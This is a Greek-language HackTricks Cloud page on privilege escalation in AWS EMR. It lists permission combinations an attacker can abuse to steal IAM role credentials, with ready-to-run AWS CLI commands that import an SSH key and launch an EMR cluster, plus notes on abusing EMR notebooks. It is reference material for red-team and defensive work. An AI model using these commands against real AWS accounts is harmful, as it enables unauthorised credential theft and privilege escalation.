AWS - EMR Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
EMR
Περισσότερες πληροφορίες για EMR στο:
iam:PassRole, elasticmapreduce:RunJobFlow
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να τρέξει ένα νέο EMR cluster επισυνάπτοντας EC2 roles και να προσπαθήσει να κλέψει τα διαπιστευτήριά του.
Σημειώστε ότι για να το κάνετε αυτό θα χρειαστεί να γνωρίζετε κάποιο ssh priv key που έχει εισαχθεί στον λογαριασμό ή να εισάγετε ένα, και να μπορείτε να ανοίξετε το port 22 στον master node (μπορεί να καταφέρετε να το κάνετε αυτό με τα attributes EmrManagedMasterSecurityGroup και/ή ServiceAccessSecurityGroup μέσα στο --ec2-attributes).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Σημειώστε πώς ένα EMR role ορίζεται στο --service-role και ένα ec2 role ορίζεται στο --ec2-attributes μέσα στο InstanceProfile. Ωστόσο, αυτή η τεχνική επιτρέπει μόνο την κλοπή των credentials του EC2 role (καθώς θα συνδεθείτε μέσω ssh) και όχι του EMR IAM Role.
Πιθανός Αντίκτυπος: Privesc στο EC2 service role που ορίζεται.
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Με αυτά τα δικαιώματα, ένας επιτιθέμενος μπορεί να εισέλθει στο AWS console, να δημιουργήσει ένα Notebook και να αποκτήσει πρόσβαση σε αυτό για να κλέψει τον IAM Role.
Caution
Ακόμα κι αν επισυνάψετε έναν IAM role στην notebook instance, στις δοκιμές μου παρατήρησα ότι κατάφερα να κλέψω AWS managed credentials και όχι creds που σχετίζονται με τον IAM role.
Πιθανός Αντίκτυπος: Privesc σε AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
elasticmapreduce:OpenEditorInConsole
Μόνο με αυτή την άδεια, ένας επιτιθέμενος θα μπορεί να έχει πρόσβαση στο Jupyter Notebook και να κλέψει τον IAM role που του αντιστοιχεί.
The URL of the notebook is https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
Ακόμα κι αν επισυνάψετε έναν IAM role στην notebook instance, στις δοκιμές μου παρατήρησα ότι κατάφερα να κλέψω AWS managed credentials και όχι creds που σχετίζονται με τον IAM role.
Πιθανός Αντίκτυπος: Privesc σε AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

